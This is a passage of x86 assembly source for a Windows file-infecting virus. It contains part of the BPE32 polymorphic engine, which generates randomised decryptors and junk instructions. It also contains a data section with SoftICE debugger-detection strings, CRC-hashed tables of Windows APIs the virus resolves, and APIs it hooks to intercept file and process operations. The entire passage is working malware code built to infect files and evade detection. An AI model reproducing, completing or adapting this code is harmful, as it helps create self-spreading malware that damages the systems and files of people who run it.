	cmp al, bh
	je greg3
	cmp al, cl
	je greg3
	mov ch, al
	mov edx, 0			;get encryption key value
xor_key = dword ptr $ - 4

	push 3
	call random
	test eax, eax
	je k_next1
	cmp al, 1
	je k_next2

	push ebx				;XOR reg, reg
	mov bl, ch				;OR, ADD, XOR reg, value
	call make_xor
	pop ebx

	mov al, 81h
	stosb
	push 3
	call random
	test eax, eax
	je k_nxt2
	cmp al, 1
	je k_nxt3

	mov al, 0c0h
k_nxt1:	add al, ch
	stosb
	xchg eax, edx
n_end1:	stosd
k_end:	call rjunk
	ret
k_nxt2:	mov al, 0f0h
	jmp k_nxt1
k_nxt3:	mov al, 0c8h
	jmp k_nxt1
k_next1:mov al, 0b8h				;MOV reg, value
	jmp k_nxt1
k_next2:mov al, 68h				;PUSH value
	stosb					;POP reg
	xchg eax, edx
	stosd
	mov al, ch
	add al, 58h
	jmp i_end1
greg3	endp

greg4	proc
	mov edx, 0 			;get key increment value
key_inc = dword ptr $ - 4
i_next:	push 3
	call random
	test eax, eax
	je i_next0
	cmp al, 1
	je i_next1
	cmp al, 2
	je i_next2

	mov al, 90h				;XCHG EAX, reg
	add al, ch				;XOR reg, reg
	stosb					;OR reg, EAX
	push ebx				;ADD reg, value
	mov bl, ch
	call make_xor
	pop ebx
	mov al, 0bh
	stosb
	mov al, 18h
	add al, ch
	rol al, 3
	stosb
i_next0:mov al, 81h				;ADD reg, value
	stosb
	mov al, 0c0h
	add al, ch
	stosb
	xchg eax, edx
	jmp n_end1
i_next1:mov al, 0b8h				;MOV EAX, value
	stosb					;ADD reg, EAX
	xchg eax, edx
	stosd
	mov al, 3
	stosb
	mov al, 18h
	or al, ch
	rol al, 3
i_end1:	stosb
i_end2:	call rjunk
	ret
i_next2:mov al, 8bh				;MOV EAX, reg
	stosb					;ADD EAX, value
	mov al, 0c0h				;XCHG EAX, reg
	add al, ch
	stosb
	mov al, 5
	stosb
	xchg eax, edx
	stosd
	mov al, 90h
	add al, ch
	jmp i_end1
greg4	endp

greg5	proc
	push ecx
	mov ch, bh
	push 4
	pop edx
	push 2
	call random
	test eax, eax
	jne ng5
	call i_next				;same as previous, value=4
	pop ecx
	jmp k_end
ng5:	mov al, 40h				;4x inc reg
	add al, ch
	pop ecx
	stosb
	stosb
	stosb
	jmp i_end1
greg5	endp

greg6	proc
	push 5
	call random
	test eax, eax
	je d_next0
	cmp al, 1
	je d_next1
	cmp al, 2
	je d_next2

	mov al, 83h				;SUB reg, 1
	stosb
	mov al, 0e8h
	add al, cl
	stosb
	mov al, 1
	jmp i_end1
d_next0:mov al, 48h				;DEC reg
	add al, cl
	jmp i_end1
d_next1:mov al, 0b8h				;MOV EAX, random_value
	stosb					;SUB reg, EAX
	push 0					;ADD reg, random_value-1
	call random
	mov edx, eax
	stosd
	mov al, 2bh
	stosb
	mov al, 18h
	add al, cl
	rol al, 3
	stosb
	mov al, 81h
	stosb
	mov al, 0c0h
	add al, cl
	stosb
	dec edx
	mov eax, edx
	jmp n_end1
d_next2:mov al, 90h				;XCHG EAX, reg
	add al, cl				;DEC EAX
	stosb					;XCHG EAX, reg
	mov al, 48h
	stosb
	mov al, 90h
	add al, cl
	jmp i_end1
greg6	endp

greg7	proc
	mov edx, [esp+4]
	dec edx
	push 2
	call random
	test eax, eax
	je l_next0
	mov al, 51h				;PUSH ECX
	stosb					;MOV ECX, reg
	mov al, 8bh				;JECXZ label
	stosb					;POP ECX
	mov al, 0c8h				;JMP decrypt_loop
	add al, cl				;label:
	stosb					;POP ECX
	mov eax, 0eb5903e3h
	stosd
	sub edx, edi
	mov al, dl
	stosb
	mov al, 59h
	jmp l_next
l_next0:push ebx				;XOR EAX, EAX
	xor bl, bl				;DEC EAX
	call make_xor				;ADD EAX, reg
	pop ebx					;JNS decrypt_loop
	mov al, 48h
	stosb
	mov al, 3
	stosb
	mov al, 0c0h
	add al, cl
	stosb
	mov al, 79h
	stosb
	sub edx, edi
	mov al, dl
l_next:	stosb
	call rjunk
	ret Pshd
greg7	endp

rjunkjc:push 7
	call random
	jmp rjn
rjunk	proc			;junk instruction generator
	push 8
	call random		;0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call
rjn:	test eax, eax
	je j5
	cmp al, 1
	je j_1x2
	cmp al, 2
	je j_2x1
	cmp al, 4
	je j2
	cmp al, 5
	je j3
	cmp al, 6
	je r_end
	cmp al, 7
	je jcj

j1:	call junx1		;one byte junk instruction
	nop
	dec eax
	SALC
	inc eax
	clc
	cwde
	stc
	cld
junx1:	pop esi
	push 8
	call random
	add esi, eax
	movsb
	ret
j_1x2:	call j1			;one byte and two byte
	jmp j2
j_2x1:	call j2			;two byte and one byte
	jmp j1
j3:	call junx3
	db	0c1h, 0c0h	;rol eax, ...
	db	0c1h, 0e0h	;shl eax, ...
	db	0c1h, 0c8h	;ror eax, ...
	db	0c1h, 0e8h	;shr eax, ...
	db	0c1h, 0d0h	;rcl eax, ...
	db	0c1h, 0f8h	;sar eax, ...
	db	0c1h, 0d8h	;rcr eax, ...
	db	083h, 0c0h
	db	083h, 0c8h
	db	083h, 0d0h
	db	083h, 0d8h
	db	083h, 0e0h
	db	083h, 0e8h
	db	083h, 0f0h
	db	083h, 0f8h	;cmp eax, ...
	db	0f8h, 072h	;clc; jc ...
	db	0f9h, 073h	;stc; jnc ...

junx3:	pop esi			;three byte junk instruction
	push 17
	call random
	imul eax, 2
	add esi, eax
	movsb
	movsb
r_ran:	push 0
	call random
	test al, al
	je r_ran
	stosb
	ret
j2:	call junx2
	db	8bh		;mov eax, ...
	db	03h		;add eax, ...
	db	13h		;adc eax, ...
	db	2bh		;sub eax, ...
	db	1bh		;sbb eax, ...
	db	0bh		;or eax, ...
	db	33h		;xor eax, ...
	db	23h		;and eax, ...
	db	33h		;test eax, ...

junx2:	pop esi			;two byte junk instruction
	push 9
	call random
	add esi, eax
	movsb
	push 8
	call random
	add al, 11000000b
	stosb
r_end:	ret
j5:	call junx5
	db	0b8h		;mov eax, ...
	db	05h		;add eax, ...
	db	15h		;adc eax, ...
	db	2dh		;sub eax, ...
	db	1dh		;sbb eax, ...
	db	0dh		;or eax, ...
	db	35h		;xor eax, ...
	db	25h		;and eax, ...
	db	0a9h		;test eax, ...
	db	3dh		;cmp eax, ...

junx5:	pop esi			;five byte junk instruction
	push 10
	call random
	add esi, eax
	movsb
	push 0
	call random
	stosd
	ret
jcj:	call rjunkjc		;junk
	push edx		;CALL label1
	push ebx		;junk
	push ecx		;JMP label2
	mov al, 0e8h		;junk
	stosb			;label1: junk
	push edi		;RET
	stosd			;junk
	push edi		;label2:
	call rjunkjc		;junk
	mov al, 0e9h
	stosb
	mov ecx, edi
	stosd
	mov ebx, edi
	call rjunkjc
	pop eax
	sub eax, edi
	neg eax
	mov edx, edi
	pop edi
	stosd
	mov edi, edx
	call rjunkjc
	mov al, 0c3h
	stosb
	call rjunkjc
	sub ebx, edi
	neg ebx
	xchg eax, ebx
	push edi
	mov edi, ecx
	stosd
	pop edi
	call rjunkjc
	pop ecx
	pop ebx
	pop edx
	ret
rjunk	endp
BPE32     EndP			;BPE32 ends here


szK32			db	'KERNEL32.dll',0	;name of DLL
sice95			db	'\\.\SICE',0		;SoftICE/95/98
siceNT			db	'\\.\NTICE',0		;SoftICE/NT
;APIs needed at run-time
crcAPIs			dd	0AE17EBEFh		;FindFirstFileA
			dd	0AA700106h		;FindNextFileA
			dd	0C200BE21h		;FindClose
			dd	03C19E536h		;SetFileAttributesA
			dd	04B2A3E7Dh		;SetFileTime
			dd	08C892DDFh		;CreateFileA
			dd	096B2D96Ch		;CreateFileMappingA
			dd	0797B49ECh		;MapViewOfFile
			dd	094524B42h		;UnmapViewOfFile
			dd	019F33607h		;CreateThread
			dd	0D4540229h		;WaitForSingleObject
			dd	068624A9Dh		;CloseHandle
			dd	020B943E7h		;CreateMutexA
			dd	0C449CF4Eh		;ReleaseMutex
			dd	0C6F22166h		;OpenMutexA
			dd	00AC136BAh		;Sleep
			dd	079C3D4BBh		;VirtualProtect
			dd	0EB1CE85Ch		;GetCurrentProcessId
			dd	033D350C4h		;OpenProcess
			dd	041A050AFh		;TerminateProcess
			dd	04134D1ADh		;LoadLibraryA
			dd	0FFC97C1Fh		;GetProcAddress
			dd	0AFDF191Fh		;FreeLibrary

;APIs to hook
crchAPIs		dd	0AE17EBEFh		;FindFirstFileA
			dd	0AA700106h		;FindNextFileA
			dd	05BD05DB1h		;CopyFileA
			dd	0953F2B64h		;CopyFileExA
			dd	08C892DDFh		;CreateFileA
			dd	0267E0B05h		;CreateProcessA
			dd	0DE256FDEh		;DeleteFileA
			dd	0C633D3DEh		;GetFileAttributesA
			dd	08F48B20Dh		;GetFullPathNameA
			dd	0F2F886E3h		;_lopen
			dd	02308923Fh		;MoveFileA
			dd	03BE43958h		;MoveFileExA
			dd	068D8FC46h		;OpenFile
			dd	03C19E536h		;SetFileAttributesA
			dd	028452C4Fh		;WinExec
			dd	040F57181h		;ExitProcess
			dd	0058F9201h		;ExitThread
			dd	087D52C94h		;GetLastError
			dd	068624A9Dh		;CloseHandle

;APIs to patch
crcpAPIs		dd	0E141042Ah		;GetProcessHeap
			dd	042F13D06h		;GetVersion
			dd	0DE5C074Ch		;GetVersionEx
			dd	052CA6A8Dh		;GetStartupInfoA
			dd	04E52DF5Ah		;GetStartupInfoW
	       		dd	03921BF03h		;GetCommandLineA
			dd	025B90AD4h		;GetCommandLineW
			dd	003690E66h		;GetCurrentProcess
			dd	019F33607h		;CreateThread
			dd	082B618D4h		;GetModuleHandleA
			dd	09E2EAD03h		;GetModuleHandleW
			dd	?
virus_end:						;end of virus in host

tmp			dd	?			;temporary variable
			org tmp				;overlay
WFD		WIN32_FIND_DATA ?			;Win32 Find Data
WFD2		WIN32_FIND_DATA ?			;Win32 Find Data
data_buffer		db	256 dup (?)		;buffer for VLCB_TData
size_unint = $ - virus_end				;size of unitialized
							;variables

;used only by first generation of virus
workspace1		db	16 dup (?)		;usd by compression
workspace2		db	16 dup (?)		;engine
_GetModuleHandleA	dd	offset GetModuleHandleA
ends							;end of code section
End first_gen						;end of virus